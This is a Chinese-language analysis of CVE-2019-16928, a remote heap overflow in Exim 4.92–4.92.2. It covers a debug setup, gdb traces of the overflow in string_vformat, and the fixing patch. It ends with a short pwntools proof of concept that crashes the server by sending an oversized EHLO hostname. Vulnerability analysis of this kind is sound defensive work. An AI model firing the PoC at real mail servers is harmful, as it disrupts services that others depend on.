CVE-2019-16928-Exim远程堆溢出漏洞分析
08 Oct 2019
|
调试环境搭建
(1) git clone https://github.com/Exim/exim.git
(2) git checkout 2600301ba6dbac5c9d640c87007a07ee6dcea1f4
#切换到4.92.2 版本
(3) cd src
mkdir Local
(4) cp src/EDITME Local/Makefile
# 编辑Local/Makefile
“EXIM_USER=”改为“EXIM_USER=test”
# 注释EXIM_MONITOR=eximon.bin
------------------------------------
# 或者使用之前分析的Makefile文件:
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
# 修改EXIM_USER为当前系统上的用户
(5) 在Makefile最后添加一行:
CFLAGS += -g 进行源码调试
(6) cd ..
make && make install
(7) 启动
sudo /usr/exim/bin/exim -bdf -dd (-d+all输出信息更详细)
(8)配置文件
sudo vim /usr/exim/configure
将配置文件中的accept hosts = : 修改成 accept hosts = *
该漏洞在调试时如果是本地调试需要断网,不然无法触发漏洞
影响版本
Exim 4.92 ~ 4.92.2
漏洞描述
漏洞代码位于:/src/src/string.c:string_vformat函数:(4.92.2版本)
gstring_grow代码如下:
1590 gstring_grow(g, g->ptr, width - (lim - g->ptr));
gdb-peda$ p width
$7 = 0x2000
gdb-peda$ p lim
$8 = 0x80
gdb-peda$ p g->ptr
$9 = 0x12
gdb-peda$ p g
$10 = (gstring *) 0x2046930
gdb-peda$ x/10gx g
0x2046930: 0x0000001200000081 0x0000000002046940
0x2046940: 0x6f62736f20303532 0x6c6c654820736578
0x2046950: 0x000000000000206f 0x0000000000000000
0x2046960: 0x0000000000000000 0x0000000000000000
0x2046970: 0x0000000000000000 0x0000000000000000
在gstring_grow函数中会进行判断,如果EHLO发送的字符串过长,需要扩展堆块。例如传入字符串长度为0x2000,此时会通过store_newblock分配一个新的堆块,堆块大小为0x2020。
分配前:
分配后:
gdb-peda$ p g->ptr
$28 = 0x12
gdb-peda$ p g->s
$29 = (uschar *) 0x2048950 "250 osboxes Hello "
gdb-peda$ p gp
$30 = 0x2048962 ""
而字符串开始拼接的地方从gp开始:
g->ptr += sprintf(gp, "%*.*s", width, precision, s);
gdb-peda$ p width
$7 = 0x2000
拼接的长度为0x2000,所以拼接后的地址为:0x2048962+0x2000=0x204a962,溢出了19个字节,覆盖下一个堆块的presize,size以及fd的3个字节(包括字符串结束符\0)
导致后面堆块分配时崩溃:
但崩溃的是子进程,主进程会重新起一个子进程。
补丁分析
--- a/src/src/string.c
+++ b/src/src/string.c
@@ -1132,7 +1132,7 @@ store_reset(g->s + (g->size = g->ptr + 1));
Arguments:
g the growable-string
p current end of data
- count amount to grow by
+ count amount to grow by, offset from p
*/
static void
@@ -1590,7 +1590,7 @@ while (*fp)
}
else if (g->ptr >= lim - width)
{
- gstring_grow(g, g->ptr, width - (lim - g->ptr));
+ gstring_grow(g, g->ptr, width);
lim = g->size - 1;
gp = CS g->s + g->ptr;
}
漏洞形成原因是由于分配的堆块太小导致溢出,所以分配符合字符串大小的堆块就可以避免溢出。
Poc代码
from pwn import *
import time
context.log_level = 'debug'
def EHLO(r,hostname):
time.sleep(1)
r.sendline("EHLO "+hostname)
r.recvline()
if __name__=='__main__':
r = remote('localhost',25)
payload = 'x'*0x2000
EHLO(r,payload)
r.interactive()
漏洞利用尝试
参考链接
https://seclists.org/oss-sec/2019/q3/253